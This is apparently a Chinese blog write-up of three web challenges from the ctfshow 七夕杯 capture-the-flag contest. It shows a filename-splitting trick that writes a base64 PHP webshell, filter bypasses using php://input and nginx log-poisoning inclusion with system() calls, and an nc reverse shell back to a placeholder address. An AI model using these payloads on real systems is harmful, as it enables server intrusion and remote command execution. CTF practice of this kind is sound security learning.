ctfshow 七夕杯

签到

在这里插入图片描述
只能执行较短命令,不能回显,这个时候考虑到写入内容
涉及到重定向符

n > file	将文件描述符为 n 的文件重定向到 file

这里的话我们可以用ls命令查看根目录,然后把他定向到一个自定义文件中

ls />a

此时我们去访问api/a
在这里插入图片描述
发现在根目录下,我们直接用flag的话又因为字符串长度过长而无法执行,这里的话我们直接用*,用nl命令来读

nl /*>b

在这里插入图片描述

方法二

参考文章
https://blog.csdn.net/nzjdsds/article/details/102873187
原理 就是按照顺序利用 >xx 写文件名 (重定向符写入, 文件内容为空), 然后利用 ls -t 按时间顺序列表, 最后写进一个文件里利用 sh 执行

因为 Linux 的特性, \ 表示命令输入没有结束, 会在下一行继续输入, 而 Linux 的文件名比较自由, 因此我们可以逐步将一个命令分散到多个文件之中, 然后配合上述方法执行
原语句

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
	//<?php eval($_GET[1]);

构造payload

>hp
>1.ph\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

接下来就可以RCE了

http://xxx/api/1.php?1=system('cat /flag');

calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

可以使用伪协议

num1=1&symbol=-&num2=include"php://input"&a=<?php system('ls /');?>

在这里插入图片描述
查看flag

num1=1&symbol=-&num2=include"php://input"&a=<?php system('nl /secret');?>

在这里插入图片描述
也可以用日志包含的方式

num1=include "/var/log/nginx/access.log"&symbol=-&num2=1
UA:<?php system('cat /secret');?>

在这里插入图片描述

cmd

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

使用nc命令反弹shell即可

nc  xxx.xxx.xxx.xxx 端口 -e  /bin/sh
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值